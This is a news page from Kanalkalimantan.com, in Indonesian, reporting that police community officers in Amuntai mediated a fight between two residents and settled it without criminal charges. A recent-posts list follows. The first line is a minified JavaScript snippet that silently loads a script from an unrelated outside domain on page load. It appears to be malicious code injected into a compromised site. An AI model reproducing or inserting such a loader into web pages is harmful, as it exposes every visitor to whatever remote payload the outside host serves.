(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

AH dan MA Sempat Berkelahi, Akhirnya Didamaikan Anggota Bhabinkamtibmas Polsek Amuntai Kota


KANALKALIMANTAN.COM, AMUNTAI – Pertikaian dua orang warga di Hulu Sungai Utara (HSU) tak sempat berbuntut panjang ke jalur hukum. Polres Hulu Sungai Utara (HSU) melalui anggota Bhabinkamtibmas Polsek Amuntai Kota berhasil mendamaikan perkelahian antara AH, warga desa Danau Teratai, Kecamatan Banjang dengan MA, warga Desa Pekapuran, Kecamatan Amuntai Utara.

Diduga akibat salah faham, AG dan MA sempat bentrok, dan salah satunya dilaporkan ke pihak kepolisian. Namun, melalui pendekatan secara kekeluargaan anggota Bhabinkamtibmas Polsek Amuntai Kota, perkelahian itu tidak diperpanjang ke jalur hukum.

Kapolsek Amuntai Kota Ipda Syaifullah  kepada Kanalkalimantan.com, Senin (29/6/2020) mengakui pihaknya telah melakukan penyidikan atas adanya laporan tindak kekerasan tersebut pada Minggu (28/6/2020). Namun dengan proses mediasi dari kedua belah pihak akhirnya kasus itu dapat diselesaikan secara kekeluargaan.

Bhabinkamtibmas Polsek Amuntai Kota berhasil melerai perkelahian antara AH, warga desa Danau Teratai, Kecamatan Banjang dengan MA, warga Desa Pekapuran, Kecamatan Amuntai Utara. foto: polsek amuntai kota

Kapolsek menjelaskan, saat anggota menjalankan program door to door system anggota Bhabinkamtibmas Polsek Amuntai Kota Aipda Rofik bersama Brigadir Sahat di desa Danau Teratai, diperoleh informasi terkait ada warga desa Danau Teratai bermasalah sehingga salah faham, bahkan sempat terjadi  perkelahian dengan seorang warga desa Pakapuran.

Mendapat informasi tersebut Bhabinkamtibmas melaporkan kepada Kapolsek Amuntai Kota Ipda Syaifulah dengan langsung mengadakan  pertemuan dengan aparat desa dan keluarga masing-masing. Akhirnya membuahkan hasil, untuk diadakan musyawarah secara kekeluargaan dengan pendekatan restorative justice.

Kesepakatan kedua pihak keluarga dan kedua belah pihak AH dan MA disaksikan kepala desa masing-masing disepakati kesalah fahaman tersebut diseleseiakan secara kekeluargaan, tidak dilanjutkan secara proses hukum pidana.

“Bila ada permsalahan di tengah masyarakat, jangan sampai ditunda-tunda untuk diselesaikan, karena berpotensi meluas ke permasalahan lain yang lebih sulit,” tegas Kapolsek. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

4 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

5 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

5 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

12 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

13 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.